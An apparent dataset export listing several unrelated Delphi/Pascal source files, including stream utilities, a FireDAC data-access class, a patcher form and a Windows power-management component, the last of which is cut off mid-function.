text
stringlengths
14
6.51M
PROGRAM parms3; TYPE cube = ARRAY[0..1, 0..2, 0..3] OF integer; VAR vvv : cube; PROCEDURE doCube1(VAR c : cube); VAR i, j, k : integer; BEGIN FOR i := 0 TO 1 DO BEGIN FOR j := 0 TO 2 DO BEGIN FOR k := 0 TO 3 DO BEGIN c[i,j][k] := 100*i + 10*j +k; END; END; END; END; PROCEDURE doCube2(c : cube); VAR i, j, k : integer; BEGIN FOR i := 0 TO 1 DO BEGIN FOR j := 0 TO 2 DO BEGIN FOR k := 0 TO 3 DO BEGIN c[i,j][k] := 200*i + 10*j +k; END; END; END; END; PROCEDURE doCube3(VAR c : cube); VAR i, j, k : integer; BEGIN FOR i := 0 TO 1 DO BEGIN FOR j := 0 TO 2 DO BEGIN FOR k := 0 TO 3 DO BEGIN c[i,j][k] := 300*i + 10*j +k; END; END; END; END; PROCEDURE printCube(VAR c : cube); VAR i, j, k : integer; BEGIN FOR j := 0 TO 2 DO BEGIN FOR i := 0 TO 1 DO BEGIN FOR k := 0 TO 3 DO BEGIN write(c[i][j,k]:4); END; write(' '); END; writeln; END; writeln; END; BEGIN write('Cube 1 (reference) ... '); doCube1(vvv); writeln('done!'); printCube(vvv); write('Cube 2 (value) ... '); doCube2(vvv); writeln('done!'); printCube(vvv); write('Cube 3 (reference) ... '); doCube3(vvv); writeln('done!'); printCube(vvv); END.
unit fcImage; { // // Components : TfcCustomImage // // Copyright (c) 1999 by Woll2Woll Software } interface uses Consts, Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TfcCustomImage = class(TGraphicControl) private FPicture: TPicture; FAutoSize: Boolean; FIncrementalDisplay: Boolean; FTransparent: Boolean; FDrawing: Boolean; function GetCanvas: TCanvas; procedure PictureChanged(Sender: TObject); procedure SetAutoSize(Value: Boolean); procedure SetPicture(Value: TPicture); procedure SetTransparent(Value: Boolean); protected function DestRect: TRect; function DoPaletteChange: Boolean; function GetPalette: HPALETTE; override; procedure Paint; override; public BasePatch: Variant; constructor Create(AOwner: TComponent); override; destructor Destroy; override; property Canvas: TCanvas read GetCanvas; property AutoSize: Boolean read FAutoSize write SetAutoSize default False; property IncrementalDisplay: Boolean read FIncrementalDisplay write FIncrementalDisplay default False; property Picture: TPicture read FPicture write SetPicture; property Transparent: Boolean read FTransparent write SetTransparent default False; end; implementation constructor TfcCustomImage.Create(AOwner: TComponent); begin inherited Create(AOwner); ControlStyle := ControlStyle + [csReplicatable]; FPicture := TPicture.Create; FPicture.OnChange := PictureChanged; Height := 105; Width := 105; end; destructor TfcCustomImage.Destroy; begin FPicture.Free; inherited Destroy; end; function TfcCustomImage.GetPalette: HPALETTE; begin Result := 0; if FPicture.Graphic <> nil then Result := FPicture.Graphic.Palette; end; function TfcCustomImage.DestRect: TRect; begin Result := Rect(0, 0, Picture.Width, Picture.Height); end; procedure TfcCustomImage.Paint; var Save: Boolean; begin if csDesigning in ComponentState then with inherited Canvas do begin Pen.Style := psDash; Brush.Style := bsClear; Rectangle(0, 0, Width, Height); end; Save := FDrawing; FDrawing := True; try with inherited Canvas do StretchDraw(DestRect, Picture.Graphic); finally FDrawing := Save; end; end; function TfcCustomImage.DoPaletteChange: Boolean; var ParentForm: TCustomForm; Tmp: TGraphic; begin Result := False; Tmp := Picture.Graphic; if Visible and (not (csLoading in ComponentState)) and (Tmp <> nil) and (Tmp.PaletteModified) then begin if (Tmp.Palette = 0) then Tmp.PaletteModified := False else begin ParentForm := GetParentForm(Self); if Assigned(ParentForm) and ParentForm.Active and Parentform.HandleAllocated then begin if FDrawing then ParentForm.Perform(wm_QueryNewPalette, 0, 0) else PostMessage(ParentForm.Handle, wm_QueryNewPalette, 0, 0); Result := True; Tmp.PaletteModified := False; end; end; end; end; function TfcCustomImage.GetCanvas: TCanvas; var Bitmap: TBitmap; begin if Picture.Graphic = nil then begin Bitmap := TBitmap.Create; try Bitmap.Width := Width; Bitmap.Height := Height; Picture.Graphic := Bitmap; finally Bitmap.Free; end; end; if Picture.Graphic is TBitmap then Result := TBitmap(Picture.Graphic).Canvas else raise EInvalidOperation.Create(SImageCanvasNeedsBitmap); end; procedure TfcCustomImage.SetAutoSize(Value: Boolean); begin FAutoSize := Value; PictureChanged(Self); end; procedure TfcCustomImage.SetPicture(Value: TPicture); begin FPicture.Assign(Value); end; procedure TfcCustomImage.SetTransparent(Value: Boolean); begin if Value <> FTransparent then begin FTransparent := Value; PictureChanged(Self); end; end; procedure TfcCustomImage.PictureChanged(Sender: TObject); var G: TGraphic; begin if AutoSize and (Picture.Width > 0) and (Picture.Height > 0) then SetBounds(Left, Top, Picture.Width, Picture.Height); G := Picture.Graphic; if G <> nil then begin if not ((G is TMetaFile) or (G is TIcon)) then G.Transparent := FTransparent; if (not G.Transparent) and ((G.Width >= Width) and (G.Height >= Height)) then ControlStyle := ControlStyle + [csOpaque] else ControlStyle := ControlStyle - [csOpaque]; if DoPaletteChange and FDrawing then Update; end else ControlStyle := ControlStyle - [csOpaque]; if not FDrawing then Invalidate; end; end.
unit Utils.Constants; interface const // Formatter ftCnpj = '##.###.###/####-##;0;_'; ftCpf = '###.###.###-##;0;_'; ftCep = '##.###-###;0;_'; ftTelefone = '(##) ####-####;0;_'; ftCelular = '(##) #####-####;0;_'; ftInteiroComSeparador = '###,###,###'; ftInteiroSemSeparador = '#########'; ftFloatComSeparador = '###,###,##0.00'; ftFloatSemSeparador = '0.00'; ftZerosAEsquerda = '000000'; ftZeroInvisivel = '#'; implementation end.
unit DelphiStreamUtils; interface uses Classes, SysUtils; function ReadLine(const Stream : TStream; var line : string) : boolean; function WriteLine(const Stream : TStream; const line : string) : boolean; function ReadString(const Stream : TStream; var str : string) : boolean; function ReadStringUpTo(const Stream : TStream; var str : string; ch, marker : char) : boolean; function WriteString(const Stream : TStream; const str : string) : boolean; function StreamToText(const Stream : TStream; const path : string) : boolean; function StreamToHtmlText(const Stream : TStream; const path : string) : boolean; function StreamToStrings(const Stream : TStream; const Strings : TStrings) : boolean; function StringsToStream(const Strings : TStrings; const Stream : TStream) : boolean; function CopyStream(const Source, Dest : TStream) : boolean; function CopyTextStream(const Source, Dest : TStream; const sep : string) : boolean; implementation uses StrUtils; const BufferSize = 1024; CharBlockSize = 80; EOLN : word = $0A0D; NoIndex = -1; function ReadLine(const Stream : TStream; var line : string) : boolean; var position : integer; size : integer; index : integer; eol : boolean; len : integer; aux : pchar; begin try position := Stream.Position; size := Stream.Size; result := position < size; if result then begin len := CharBlockSize; SetLength(line, len); aux := pchar(line); index := 0; repeat if index = len then begin inc(len, CharBlockSize); SetLength(line, len); aux := pchar(line); end; Stream.Read(aux[index], sizeof(char)); inc(position); eol := (index > 0) and ((aux[index - 1] = #$D) and (aux[index] = #$A) or (aux[index - 1] = #$A) and (aux[index] = #$D)); inc(index); until (position = size) or eol; if eol then dec(index, 2); SetLength(line, index); end else line := ''; except line := ''; result := false; end; end; function WriteLine(const Stream : TStream; const line : string) : boolean; begin try if line <> '' then Stream.Write(line[1], length(line)); Stream.Write(EOLN, sizeof(EOLN)); result := true; except result := false; end; end; function ReadString(const Stream : TStream; var str : string) : boolean; var len : integer; begin try Stream.Read(len, sizeof(len)); if len > 0 then begin SetLength(str, len); Stream.Read(str[1], len); end else str := ''; result := true; except result := false; end; end; function CharPos(buffer : PChar; ch, mrk : char; var MrkCount : integer) : integer; const Mask : integer = 1; var index : integer; CurChar : char; begin index := 0; CurChar := buffer[index]; while (CurChar <> #0) and (CurChar <> ch) or (MrkCount and Mask = 1) do begin if CurChar = mrk then inc(MrkCount); inc(index); CurChar := buffer[index]; end; if CurChar <> #0 then result := index else result := NoIndex; end; function ReadStringUpTo(const Stream : TStream; var str : string; ch, marker : char) : boolean; const BufferSize = 512; var buffer : array[0..BufferSize] of char; save : integer; flag : boolean; count : integer; index : integer; epos : integer; MrkCount : integer; begin save := Stream.Position; index := save; MrkCount := 0; repeat count := Stream.Read(buffer, BufferSize); buffer[count] := #0; epos := CharPos(buffer, ch, marker, MrkCount); flag := epos <> NoIndex; if flag then inc(index, epos + 1) else inc(index, count); until flag or (count < BufferSize); count := index - save; result := count = 0; if not result then begin Stream.Seek(save, soFromBeginning); SetLength(str, count); Stream.Read(str[1], count); end else str := ''; end; function WriteString(const Stream : TStream; const str : string) : boolean; var len : integer; begin try len := length(str); Stream.Write(len, sizeof(len)); if len > 0 then Stream.Write(str[1], len); result := true; except result := false; end; end; function StreamToText(const Stream : TStream; const path : string) : boolean; var aTextFile : TextFile; SavePos : integer; aux : string; begin try SavePos := Stream.Position; AssignFile(aTextFile, path); try Stream.Seek(0, 0); ReWrite(aTextFile); while ReadLine(Stream, aux) do WriteLn(aTextFile, aux); finally CloseFile(aTextFile); end; result := true; Stream.Position := SavePos; except result := true; end; end; function StreamToHtmlText(const Stream : TStream; const path : string) : boolean; var aTextFile : TextFile; SavePos : integer; aux : string; begin try SavePos := Stream.Position; AssignFile(aTextFile, path); try ReWrite(aTextFile); aux := '<body bgcolor = "white">'; WriteLn(aTextFile, aux); aux := '<p>'; WriteLn(aTextFile, aux); while ReadLine(Stream, aux) do begin WriteLn(aTextFile, aux); aux := '</p>' + #$D#$A + '<p>'; WriteLn(aTextFile, aux); end; aux := '</p>'; WriteLn(aTextFile, aux); finally CloseFile(aTextFile); end; result := true; Stream.Position := SavePos; except result := true; end; end; function StreamToStrings(const Stream : TStream; const Strings : TStrings) : boolean; var aux : string; begin try while ReadLine(Stream, aux) do Strings.Add(aux); result := true; except result := true; end; end; function StringsToStream(const Strings : TStrings; const Stream : TStream) : boolean; var index : integer; begin try for index := 0 to pred(Strings.Count) do WriteLine(Stream, Strings[index]); result := true; except result := false; end; end; function CopyStream(const Source, Dest : TStream) : boolean; const CopyBufferSize = 1024; var buffer : array[1..CopyBufferSize] of byte; count : integer; begin try repeat count := Source.Read(buffer, CopyBufferSize); Dest.Write(buffer, count); until count < CopyBufferSize; result := true; except result := false; end; end; function CopyTextStream(const Source, Dest : TStream; const sep : string) : boolean; var size : integer; line : string; begin try size := Source.Size; while Source.Position < size do begin ReadLine(Source, line); if line <> '' then line := line + sep; WriteLine(Dest, line); end; result := true; except result := false; end; end; end.
unit DAO.FechamentosExpressas; interface uses Model.FechamentoExpressas, FireDAC.Comp.Client, System.SysUtils, DAO.Conexao, Control.Sistema; type TFechamentoExpressasDAO = class private FConexao : TConexao; public constructor Create; function GetID(): Integer; function Insert(aFechamento: TFechamentoExpressas): Boolean; function Update(aFechamento: TFechamentoExpressas): Boolean; function Delete(aFechamento: TFechamentoExpressas): Boolean; function FindFechamento(aParam: array of Variant): TFDQuery; function RetornaFechamento(aParam: array of variant): TFDQuery; function CancelaFechamento(aParam: array of Variant): Boolean; end; const TABLENAME = 'fin_fechamento_expressas'; implementation { TFechamentoExpressasDAO } function TFechamentoExpressasDAO.CancelaFechamento(aParam: array of Variant): Boolean; var sSQL : String; fdQuery: TFDQuery; begin try Result := False; fdQuery := FConexao.ReturnQuery; sSQL := 'DELETE FROM ' + TABLENAME + ' WHERE DAT_INICIO <= :DATA1 AND DAT_FINAL <= :DATA2 AND DOM_FECHADO = :FECHADO'; fdQuery.SQL.Text := sSQL; fdQuery.ParamByName('data1').AsDate := aparam[0]; fdQuery.ParamByName('data2').AsDate := aparam[1]; fdQuery.ParamByName('fechado').AsDate := aparam[2]; fdQuery.ExecSQL; Result := True; finally fdQuery.Free; end; end; constructor TFechamentoExpressasDAO.Create; begin FConexao := TSistemaControl.GetInstance().Conexao; end; function TFechamentoExpressasDAO.Delete(aFechamento: TFechamentoExpressas): Boolean; var sSQL: String; fdQuery: TFDQuery; begin try Result := False; fdQuery := FConexao.ReturnQuery; sSQL := 'DELETE FROM ' + TABLENAME + ' WHERE ID_FECHAMENTO = :ID_FECHAMENTO'; FDQuery := FConexao.ReturnQuery(); FDQuery.ExecSQL(sSQL, [aFechamento.ID]);; Result := True; finally fdQuery.Free; end; end; function TFechamentoExpressasDAO.FindFechamento(aParam: array of Variant): TFDQuery; var FDQuery : TFDQuery; begin FDQuery := FConexao.ReturnQuery; if Length(aParam) = 0 then Exit; FDQuery.SQL.Add('SELECT * FROM ' + TABLENAME); if aParam[0] = 'ID' then begin FDQuery.SQL.Add('WHERE ID_FECHAMENTO = :ID'); FDQuery.ParamByName('ID').AsInteger := aParam[1]; end else if aParam[0] = 'FECHADO' then begin FDQuery.SQL.Add('WHERE DOM_FECHADO = :FECHADO'); FDQuery.ParamByName('FECHADO').AsInteger := aParam[1]; end else if aParam[0] = 'PERIODO' then begin FDQuery.SQL.Add('WHERE DAT_INICIO >= :INICIO AND DAT_FINAL <= :FINAL AND DOM_FECHADO = :FECHADO'); FDQuery.ParamByName('INICIO').AsDate := aParam[1]; FDQuery.ParamByName('FINAL').AsDate := aParam[2]; FDQuery.ParamByName('FECHADO').AsInteger := aParam[3]; end else if aParam[0] = 'DATAS' then begin FDQuery.SQL.Add('WHERE DAT_INICIO >= :INICIO AND DAT_FINAL <= :FINAL'); FDQuery.ParamByName('INICIO').AsDate := aParam[1]; FDQuery.ParamByName('FINAL').AsDate := aParam[2]; end else if aParam[0] = 'CODIGO' then begin FDQuery.SQL.Add('WHERE COD_TIPO = :TIPO AND COD_EXPRESSA = :CODIGO'); FDQuery.ParamByName('TIPO').AsInteger := aParam[1]; FDQuery.ParamByName('CODIGO').AsInteger := aParam[2]; end else if aParam[0] = 'EXTRATO' then begin FDQuery.SQL.Add('WHERE DAT_INICIO >= :INICIO AND DAT_FINAL <= :FINAL AND COD_TIPO = :TIPO AND COD_EXPRESSA = :CODIGO'); FDQuery.ParamByName('INICIO').AsDate := aParam[1]; FDQuery.ParamByName('FINAL').asDate := aParam[2]; FDQuery.ParamByName('TIPO').AsInteger := aParam[3]; FDQuery.ParamByName('CODIGO').AsInteger := aParam[4]; end else if aParam[0] = 'FECHAMENTO' then begin FDQuery.SQL.Add('WHERE DAT_INICIO >= :INICIO AND DAT_FINAL <= :FINAL AND COD_CLIENTE_EMPRESA = :CLIENTE'); FDQuery.ParamByName('INICIO').AsDate := aParam[1]; FDQuery.ParamByName('FINAL').asDate := aParam[2]; FDQuery.ParamByName('CLIENTE').AsInteger := aParam[3]; end; FDQuery.Open(); Result := FDQuery; end; function TFechamentoExpressasDAO.GetID: Integer; var FDQuery: TFDQuery; begin try FDQuery := FConexao.ReturnQuery(); FDQuery.Open('select coalesce(max(id_fechamento),0) + 1 from ' + TABLENAME); try Result := FDQuery.Fields[0].AsInteger; finally FDQuery.Close; end; finally FDQuery.Connection.Close; FDQuery.Free; end; end; function TFechamentoExpressasDAO.Insert(aFechamento: TFechamentoExpressas): Boolean; var fdQuery: TFDQuery; begin try Result := False; fdQuery := FConexao.ReturnQuery; aFechamento.Id := GetID; FDQuery.ExecSQL('INSERT INTO ' + TABLENAME + '(ID_FECHAMENTO, DAT_INICIO, DAT_FINAL, COD_TIPO, COD_EXPRESSA, VAL_PRODUCAO, VAL_VERBA_ENTREGADOR, TOT_VERBA_FRANQUIA, VAL_SALDO_RESTRICAO, ' + 'VAL_RESTRICAO, VAL_EXTRAVIOS, VAL_CREDITOS, VAL_DEBITOS, VAL_FINANCIADO, VAL_TOTAL_DEBITOS, VAL_TOTAL_CREDITOS, VAL_TOTAL_GERAL, DOM_FECHADO, ' + 'DES_EXTRATOS, TOT_ENTREGAS,QTD_PFP, NOM_FAVORECIDO, NUM_CPF_CNPJ, COD_BANCO, COD_AGENCIA, DES_TIPO_CONTA, NUM_CONTA, DES_LOG, COD_CLIENTE_EMPRESA) ' + 'VALUE ' + '(:PID_FECHAMENTO, :PDAT_INICIO, :PDAT_FINAL, :PCOD_TIPO, :PCOD_EXPRESSA, :PVAL_PRODUCAO, :PVAL_VERBA_ENTREGADOR, :PTOT_VERBA_FRANQUIA, ' + ':PVAL_SALDO_RESTRICAO, :PVAL_RESTRICAO, :PVAL_EXTRAVIOS, :PVAL_CREDITOS, :PVAL_DEBITOS, :PVAL_FINANCIADO, :PVAL_TOTAL_DEBITOS, ' + ':PVAL_TOTAL_CREDITOS, :PVAL_TOTAL_GERAL, :PDOM_FECHADO, :PDES_EXTRATOS, :PTOT_ENTREGAS, :pQTD_PFP, :NOM_FAVORECIDO, :NUM_CPF_CNPJ, :COD_BANCO, ' + ':COD_AGENCIA, :DES_TIPO_CONTA, :NUM_CONTA, :PDES_LOG, :COD_CLIENTE_EMPRESA)', [aFechamento.Id, aFechamento.DataInicio, aFechamento.DataFinal, aFechamento.Tipo, aFechamento.Codigo, aFechamento.ValorProducao, aFechamento.VerbaEntregador, aFechamento.TotalVerbaFranquia, aFechamento.SaldoRestricao, aFechamento.ValorResticao, aFechamento.ValorExtravios, aFechamento.ValorCreditos, aFechamento.ValorDebitos, aFechamento.ValorFinanciado, aFechamento.TotalDebitos, aFechamento.TotalCreditos, aFechamento.TotalGeral, aFechamento.Fechado, aFechamento.Extratos, aFechamento.TotalEntregas, aFechamento.PFP, aFechamento.Favorecido, aFechamento.CPFCNPJ, aFechamento.Banco, aFechamento.Agencia, aFechamento.TipoConta, aFechamento.Conta, aFechamento.Log, aFechamento.Cliente]); Result := True; finally fdQuery.Free; end; end; function TFechamentoExpressasDAO.RetornaFechamento(aParam: array of variant): TFDQuery; var fdQuery : TFDQuery; begin fdQuery := FConexao.ReturnQuery; fdQuery.SQL.Add('select cod_expressa as cod_expressa, tot_volumes as qtd_volumes, tot_entregas as qtd_entregas, qtd_extra as qtd_volumes_extra, ' + 'qtd_atraso as qtd_atraso, val_producao as val_producao, val_performance as val_performance, tot_verba_franquia as val_total_ticket, ' + 'cod_tipo as cod_tipo_expressa, nom_expressa as nom_expressa, cod_banco as cod_banco, nom_banco as nom_banco, des_tipo_conta as des_tipo_conta, ' + 'cod_agencia as num_agencia, num_conta as num_conta, nom_favorecido as nom_favorecido, num_cpf_cnpj as num_cpf_cnpj, ' + 'qtd_pfp as qtd_pfp, val_ticket_medio as val_ticket_medio, ' + 'val_extravios as val_extravios, val_debitos as val_debitos, val_creditos as val_creditos, val_total_geral as val_total from ' + TABLENAME + ' where dat_inicio >= :data1 and dat_final <= :data2 and cod_cliente_empresa = :cliente'); fdQuery.ParamByName('data1').AsDate := aParam[0]; fdQuery.ParamByName('data2').asDate := aParam[1]; fdQuery.ParamByName('cliente').AsInteger := aParam[2]; fdQuery.Open(); Result := fdQuery; end; function TFechamentoExpressasDAO.Update(aFechamento: TFechamentoExpressas): Boolean; var fdQuery : TFDQuery; begin Result := False; fdQuery := FConexao.ReturnQuery; FDQuery.ExecSQL( 'UPDATE ' + TABLENAME + ' SET ' + 'DAT_INICIO = :PDAT_INICIO, DAT_FINAL = :PDAT_FINAL, COD_TIPO = :PCOD_TIPO, COD_EXPRESSA = :PCOD_EXPRESSA, ' + 'VAL_PRODUCAO = :PVAL_PRODUCAO, VAL_VERBA_ENTREGADOR = :pVAL_VERBA_ENTREGADOR, TOT_VERBA_FRANQUIA = :pTOT_VERBA_FRANQUIA, ' + 'VAL_SALDO_RESTRICAO = :PVAL_SALDO_RESTRICAO, VAL_RESTRICAO = :PVAL_RESTRICAO, VAL_EXTRAVIOS = :PVAL_EXTRAVIOS, ' + 'VAL_CREDITOS = :PVAL_CREDITOS, VAL_DEBITOS = :PVAL_DEBITOS, VAL_FINANCIADO = :PVAL_FINANCIADO, VAL_TOTAL_DEBITOS = :PVAL_TOTAL_DEBITOS, ' + 'VAL_TOTAL_CREDITOS = :PVAL_TOTAL_CREDITOS, VAL_TOTAL_GERAL = :PVAL_TOTAL_GERAL, DOM_FECHADO = :PDOM_FECHADO, DES_EXTRATOS = :PDES_EXTRATOS, ' + 'TOT_ENTREGAS = :PTOT_ENTREGAS, QTD_PFP = :PQTD_PFP, NOM_FAVORECIDO = :NOM_FAVORECIDO, NUM_CPF_CNPJ = :NUM_CPF_CNPJ, ' + 'COD_BANCO = :COD_BANCO, COD_AGENCIA = :COD_AGENCIA, DES_TIPO_CONTA = :DES_TIPO_CONTA, NUM_CONTA = :NUM_CONTA, DES_LOG = :PDES_LOG, ' + 'COD_CLIENTE_EMPRESA = :COD_CLIENTE_CMPRESA ' + 'WHERE ID_FECHAMENTO = :PID_FECHAMENTO', [aFechamento.DataInicio, aFechamento.DataFinal, aFechamento.Tipo, aFechamento.Codigo, aFechamento.ValorProducao, aFechamento.VerbaEntregador, aFechamento.TotalVerbaFranquia, aFechamento.SaldoRestricao, aFechamento.ValorResticao, aFechamento.ValorExtravios, aFechamento.ValorCreditos, aFechamento.ValorDebitos, aFechamento.ValorFinanciado, aFechamento.TotalDebitos, aFechamento.TotalCreditos, aFechamento.TotalGeral, aFechamento.Fechado, aFechamento.Extratos, aFechamento.TotalEntregas, aFechamento.PFP, aFechamento.Favorecido, aFechamento.CPFCNPJ, aFechamento.Banco, aFechamento.Agencia, aFechamento.TipoConta, aFechamento.Conta,aFechamento.Log, aFechamento.Cliente,aFechamento.Id]); Result := True; end; end.
unit Main; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, pngimage, ExtCtrls, StdCtrls, CommandoSettings, UpdateInfo, ASyncPatcher; type TPatcherForm = class(TForm) Progress: TProgressBar; Image1: TImage; Log: TMemo; procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); private { Private declarations } FSettings: TCommandoSettings; FUpdates: TUpdateInfo; FPatcher: TAsyncPatcher; FRunning: Boolean; procedure HandleTerminate(Sender: TObject); procedure HandleLog(AMessage: string); procedure HandleProgress(AMin, AMax, APosition: Integer); protected public { Public declarations } constructor Create(AOwner: TComponent); override; destructor Destroy(); override; end; var PatcherForm: TPatcherForm; implementation uses VersionCompare, PatcherVersion; {$R *.dfm} {$R StarterManifest.res} { TPatcherForm } constructor TPatcherForm.Create(AOwner: TComponent); begin inherited; FUpdates := TUpdateInfo.Create(); FSettings := TCommandoSettings.Create(); FPatcher := TAsyncPatcher.Create(FSettings, FUpdates); FPatcher.OnProgress := HandleProgress; FPatcher.OnLog := HandleLog; FPatcher.OnTerminate := HandleTerminate; FSettings.ReadFromCommandLine(); Log.Lines.Add('D16Patcher v. ' + CPatcherVersion); if FSettings.HasUpdateFile() then begin if not FSettings.IsSelfInstall then begin FUpdates.LoadFromFile(ExtractFilePath(Application.ExeName) + '\' + FSettings.UpdateFile); end; FRunning := True; FPatcher.Start(); end else begin Log.Lines.Add('No updatefile specified'); end; end; destructor TPatcherForm.Destroy; begin FSettings.Free(); FUpdates.Free; inherited; end; procedure TPatcherForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin CanClose := True; if FRunning then begin if MessageDlg('Patcher is still performing an action. Do you really want to abort while patching?', mtWarning, mbYesNo, 0) = mrNo then begin CanClose := False; end; end; end; procedure TPatcherForm.HandleLog(AMessage: string); begin Log.Lines.Add(AMessage); end; procedure TPatcherForm.HandleProgress(AMin, AMax, APosition: Integer); begin //all the following +1 and backsetting forces the progressbar to update IMMEDIATELY instead of animating if APosition < AMax then begin Progress.Min := AMin; Progress.Max := AMax; Progress.Position := APosition + 1; Progress.Position := APosition; end else begin Progress.Min := AMin; Progress.Max := AMax + 1; Progress.Position := AMax + 1; Progress.Max := AMax; end; end; procedure TPatcherForm.HandleTerminate(Sender: TObject); begin FRunning := False; Self.Close(); end; end.
unit ClusterTask; interface uses Tasks; type TMetaClusterTask = class(TMetaTask) private fClusterName : string; public property ClusterName : string read fClusterName write fClusterName; end; TClusterTask = class(TSuperTask) public class function GetPriority(MetaTask : TMetaTask; SuperTask : TTask; Context : ITaskContext) : integer; override; end; procedure RegisterBackup; implementation uses Kernel, BackupInterfaces; class function TClusterTask.GetPriority(MetaTask : TMetaTask; SuperTask : TTask; Context : ITaskContext) : integer; var Company : TCompany; begin result := inherited GetPriority(MetaTask, SuperTask, Context); if result <> tprIgnoreTask then begin Company := TCompany(Context.getContext(tcIdx_Company)); if (Company <> nil) and (Company.Cluster.Id = TMetaClusterTask(MetaTask).fClusterName) then result := tprHigh else result := tprIgnoreTask; end; end; procedure RegisterBackup; begin RegisterClass(TClusterTask); end; end.
unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS, FireDAC.Phys.Intf, FireDAC.DApt.Intf, FireDAC.Stan.Async, FireDAC.DApt, FireDAC.UI.Intf, FireDAC.Stan.Def, FireDAC.Stan.Pool, FireDAC.Phys, FireDAC.Phys.SQLite, FireDAC.Phys.SQLiteDef, FireDAC.Stan.ExprFuncs, FireDAC.VCLUI.Wait, Data.DB, Vcl.StdCtrls, Vcl.Grids, Vcl.DBGrids, FireDAC.Comp.Client, FireDAC.Comp.DataSet, RTTIUtils; type TForm1 = class(TForm) FDQuery1: TFDQuery; FDConnection1: TFDConnection; DataSource1: TDataSource; DBGrid1: TDBGrid; [Bind('ID', 'Código', 20)] edtID: TEdit; [Bind('NAME', 'Nome', 50)] edtName: TEdit; [Bind('PHONE', 'WhatsApp', 30)] edtPhone: TEdit; [Bind('OCCUPATION', 'Profissão', 50)] edtOccupation: TEdit; Button1: TButton; procedure DataSource1DataChange(Sender: TObject; Field: TField); procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin //TRTTIUtils.FormToDataSet(FDQuery1, Self); end; procedure TForm1.DataSource1DataChange(Sender: TObject; Field: TField); begin TRTTIUtils.DataSetToForm(FDQuery1, Self); end; end.
unit PowerManager; interface uses Windows, SysUtils, Classes, SyncObjs, Messages; type TWakeUpEvent = procedure(Sender: TObject) of object; type TIsPwrHibernateAllowed = function: Boolean; stdcall; TIsPwrSuspendAllowed = function: Boolean; stdcall; TLockWorkStation = function: Boolean; stdcall; type TPowerManager = class; TWakeUpTimer = class; TPowerManager = class(TComponent) private { Private declarations } FWakeUpTimerEnabled: Boolean; FOnWakeUp: TWakeUpEvent; protected { Protected declarations } public { Public declarations } function IsSuspendAllowed: Boolean; function IsHibernateAllowed: Boolean; function Hibernate(Force: Boolean): Boolean; function Suspend(Force: Boolean): Boolean; function LockWorkStation: Boolean; function Shutdown(Force: Boolean): Boolean; function Poweroff(Force: Boolean): Boolean; function Reboot(Force: Boolean): Boolean; function Logoff(Force: Boolean): Boolean; function StartWakeUpTimer(Interval: Cardinal): Boolean; function StopWakeUpTimer: Boolean; function IsWakeUpTimerEnabled: Boolean; constructor Create(AOwner: TComponent); override; destructor Destroy; override; published { Published declarations } property OnWakeUp: TWakeUpEvent read FOnWakeUp write FOnWakeUp; end; TWakeUpTimer = class(TThread) private FInterval: Cardinal; FStartEvent: TEvent; FStopEvent: TEvent; FTimer: THandle; FOnTimer: TNotifyEvent; procedure DoOnTimer; protected ThreadOwner: TPowerManager; procedure Execute; override; public constructor Create(AThreadOwner: TPowerManager); virtual; destructor Destroy; override; procedure Start; procedure Stop; property Interval: Cardinal read FInterval write FInterval; property OnTimer: TNotifyEvent read FOnTimer write FOnTimer; end; var DLLHandle: HMODULE; FWakeUpTimer: TWakeUpTimer; _IsPwrHibernateAllowed: TIsPwrHibernateAllowed; _IsPwrSuspendAllowed: TIsPwrSuspendAllowed; _LockWorkStation: TLockWorkStation; procedure Register; implementation procedure Register; begin RegisterComponents('Standard', [TPowerManager]); end; function _EnablePrivilege(Privilege: String): Boolean; var TokenHandle: THandle; TokenPrivileges: TTokenPrivileges; ReturnLength: Cardinal; begin Result := False; OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TokenHandle); if TokenHandle <> 0 then begin try LookupPrivilegeValue(nil, PAnsiChar(Privilege), TokenPrivileges.Privileges[0].Luid); TokenPrivileges.PrivilegeCount := 1; TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; if AdjustTokenPrivileges(TokenHandle, False, TokenPrivileges, 0, nil, ReturnLength) then Result := True; finally CloseHandle(TokenHandle); end; end; end; constructor TPowerManager.Create(AOwner: TComponent); begin inherited; _EnablePrivilege('SeShutdownPrivilege'); DLLHandle := LoadLibrary('powrprof.dll'); if DLLHandle <> 0 then begin @_IsPwrHibernateAllowed := GetProcAddress(DLLHandle, 'IsPwrHibernateAllowed'); @_IsPwrSuspendAllowed := GetProcAddress(DLLHandle, 'IsPwrSuspendAllowed'); DLLHandle := 0; end; end; destructor TPowerManager.Destroy; begin inherited; end; function TPowerManager.IsHibernateAllowed: Boolean; begin if (@_IsPwrHibernateAllowed = nil) then begin Result := False; Exit; end; Result := _IsPwrHibernateAllowed; end; function TPowerManager.IsSuspendAllowed: Boolean; begin if (@_IsPwrSuspendAllowed = nil) then begin Result := False; Exit; end; Result := _IsPwrSuspendAllowed; end; function TPowerManager.Hibernate(Force: Boolean): Boolean; begin Result := False; if (not _IsPwrHibernateAllowed) then Exit; if Force then begin if SetSystemPowerState(False, True) then Result := True; end else begin if SetSystemPowerState(False, False) then Result := True; end; end; function TPowerManager.Suspend(Force: Boolean): Boolean; begin Result := False; if (not _IsPwrSuspendAllowed) then Exit; if Force then begin if SetSystemPowerState(True, True) then Result := True; end else begin if SetSystemPowerState(True, False) then Result := True; end; end; function TPowerManager.LockWorkStation: Boolean; begin if (@_LockWorkStation = nil) then begin Result := False; Exit; end; Result := _LockWorkStation; end; function TPowerManager.Shutdown(Force: Boolean): Boolean; begin Result := False; if Force then begin if ExitWindowsEx(EWX_SHUTDOWN or EWX_FORCE, 0) then Result := True; end else begin if ExitWindowsEx(EWX_SHUTDOWN, 0) then Result := True; end; end; function TPowerManager.Poweroff(Force: 